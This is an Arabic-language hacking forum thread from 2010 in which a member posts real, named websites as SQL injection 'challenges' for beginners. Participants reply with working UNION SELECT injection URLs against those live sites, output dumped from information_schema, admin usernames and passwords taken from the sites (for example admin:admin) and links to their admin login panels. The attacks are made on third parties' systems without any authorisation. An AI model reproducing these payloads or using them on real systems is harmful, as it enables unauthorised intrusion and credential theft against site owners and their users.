تحديات خاصة بالمبتدئين في دورة sql

marrak · 06-28-2010, 07:13 PM

السلام عليكم
لتدليل المصاعب امام المبتدئين , وتثمينا لمجهودات اخينا فولكانو , سأضع كل مرة موقعا مصابا ويحاول المبتدئون ايجاد معلوماته.
الأجوبة ترسل على الخاص وسيم وضع لائحة باسماء المتفوقين .
على بركة الله نبدأ

الموقع الأول
http://www.5landswalk.com.au

مدة التحدي يومان

لكم تحياتي

المصدر: :: vBspiders Professional Network ::

Vspan style="font-weight: bold; color: #ff0000;"Cydv l[hf:VLspanC jp]dhj ohwm fhglfj]zdk td ],vm sql a;vh

D-GhosT s3cur!Ty-Z · 06-28-2010, 08:19 PM

والله مبادرة رائعة جدا منك يا مارك

marrak · 06-28-2010, 08:40 PM

اقتباس

المشاركة الأصلية كتبت بواسطة I PROMISE HACKER


	*والله مبادرة رائعة جدا منك يا مارك*

احاول قدر المستطاع رد الجميل لهذا المنتدى العزيز
لك تحياتي

kama · 06-29-2010, 12:03 AM

tnaks man , for this chalange

marrak · 06-30-2010, 08:18 PM

لم أتوصل بأي جواب لكن الاخوة ما شاء الله عليهم دخلوا الموقع وتم ترقيع الخطأ sql .

التحدي الثاني سهل
http://www.hironakajima.com/
نقطة البداية
http://www.hironakajima.com/business...php?mail_id=12

الثغرة sql
الاصدار 5

المدة يومان
لكم تحياتي

coool · 06-30-2010, 08:36 PM

البيانات اممم
اليوزر stoneusa7
البااس stoned
اماا لووحة ماطلعت معااي هع هع ننتظر الباقين

marrak · 06-30-2010, 10:30 PM

اقتباس

المشاركة الأصلية كتبت بواسطة coool


	البيانات اممم اليوزر stoneusa7 البااس stoned اماا لووحة ماطلعت معااي هع هع ننتظر الباقين

مبروك عليك اخي الكريم واليك لوحة الدخول
http://www.hironakajima.com/admin/login.php

سأرفع موقعا آخر غدا بحول الله
لك تحياتي

lifenote · 07-01-2010, 12:24 AM

السلام عليكم و رحمة الله تعالى و بركاته

شكرا أخي الغالي على الفكرة الجميلة كنت محتاج لها و الله

كود:

II- http://www.hironakajima.com/business/mail _old.php?mail_id=-12%20union% 20select%201,2,concat% 28table_name,0x3a,column_name,0x3a,tabl e_schema% 29,4,5+from+information_schema.columns+ where+column_name+LIKE+CHAR% 2837,%20112,%2097,%20115,%2037%29-- III- http://www.hironakajima.com/business/mail _old.php?mail_id=-12%20union% 20select%201,2,concat% 28table_name,0x3a,column_name,0x3a,tabl e_schema% 29,4,5+from+information_schema.columns+ where+table_name=0x75736572-- IV- http://www.hironakajima.com/business/mail _old.php?mail_id=-12 union select 1,2,concat (user_id,0x3a,userpass),4,5+from+user--

النتيجة

اليوزرنام 1
الباس stoned

************
user اسم جدول اليوزر
userpass اسم عمود لاباس
user_id اسم عمود اليوزر
اليوزرنام 1
الباس stoned
*************
يعني اليوزر مستحيل و الباس صحيح

جربت امر غروب و ليميت ما يشتغل معاي يعني قلت ربما اخطأت في الجدول لانه كما لاحضتم الجدول عندي اسمه user

تلميذ كسول خخخ

آسف اتمنى اشوف ردودكم اخوتي الكرام

سلام

lifenote · 07-01-2010, 01:30 AM

هذا موقع ىخر جربت عليه و نفس المشكلة

كود:

http://accesscourses.net/fr/news_detail.php?id=-1 union select 1,2,3,concat(id,0x3a,pass),5,6+from+client--

1:1609

احاول استخدم أمر غروب ما ينفع يعني يعطيني نفس الجدول الي انا عملت عليه و ما يعطيني جداول أخرى اجرب عليها

marrak · 07-01-2010, 09:54 PM

اقتباس

المشاركة الأصلية كتبت بواسطة lifenote


	هذا موقع ىخر جربت عليه و نفس المشكلة كود: http://accesscourses.net/fr/news_detail.php?id=-1 union select 1,2,3,concat(id,0x3a,pass),5,6+from+client-- 1:1609 احاول استخدم أمر غروب ما ينفع يعني يعطيني نفس الجدول الي انا عملت عليه و ما يعطيني جداول أخرى اجرب عليها

اتمنى على الأخ coool ان يشرح لنا طريقته لأنها صحيحة
بتظافر الجهود نتعلم جميعا ونرقى بمستوى المنتدى .

marrak · 07-01-2010, 10:07 PM

بالنسبة للموقع الثاني اخي lifenote
اليك المبتغى

اقتباس


	http://accesscourses.net/fr/news_det...rom%20client--

وجب اسعمال login بدل id
لك تحياتي

marrak · 07-01-2010, 10:17 PM

السلام عليكم
الموقع التالي
http://www.annapolisroyalwellnesscenterandspa.com
الثغرة sql
الاصدار 5
عدد الأعمدة 5 والمصاب رقم 2

لكم تحياتي

lifenote · 07-02-2010, 07:40 AM

الموقع ما يضهر لي عليه خطا أخي

^_^

/////////

انضر اخي هنا

كود:

http://accesscourses.net/fr/news_detail.php?id=-1%20union%20select%201,concat%28login,0x3a,pass%29,3,4,5,6+from+client--

هل لي برابط لوحة التحكم ؟؟ او طريقة لتخمينها تكون سهلة لاني اضمن لك انه اليدوي ما ينفع
و حتى برنامج AdminPage

the cold zero · 07-02-2010, 09:40 AM

اقتباس

المشاركة الأصلية كتبت بواسطة marrak


	السلام عليكم الموقع التالي http://www.annapolisroyalwellnesscenterandspa.com الثغرة sql الاصدار 5 عدد الأعمدة 5 والمصاب رقم 2 لكم تحياتي

تسلم يا بطل
انتظرنى راح اجيب راسه n028

BL4CK TIG3R

marrak · 07-02-2010, 07:41 PM

جوابك صحيح اخي الكريم the cold zero.
وفقك الله لما يحب ويرضى
الجواب
admin:admin

لوحة التحكم
http://www.annapolisroyalwellnesscen...dmin/login.php

لكم تحياتي

أدوات الموضوع
مشاهدة صفحة طباعة الموضوع أرسل هذا الموضوع إلى صديق
انواع عرض الموضوع
العرض العادي الانتقال إلى العرض المتطور الانتقال إلى العرض الشجري

المواضيع المتشابهه
الموضوع	كاتب الموضوع	المنتدى	مشاركات	آخر مشاركة
دورة دلفي من 0 إلى الإحتراف (دورة حقوقها محفوظة لدلفي للعرب )	darkman.dz	قسم البرمجة الكائنية	7	01-18-2015 01:39 PM
حصري على الشبكة..دورة H-t اقوى دورة في اختراق المواقع	MATRIX ALGERIA	قـسـم إخـتـراق الـمـواقـع والـسـيرفـرات	14	12-10-2013 05:01 PM
دورة أختراق الأجهزة خاصة - جحيم هكر -	! جحيم هكر !	قســم إختــراق الأجهــزة	10	10-28-2010 08:30 AM

التواصل المباشر مع الادارة والاعضاء القدامى من خلال قناة التلغرام

تحديات خاصة بالمبتدئين في دورة sql

جـــ'ابات العناكــ'ب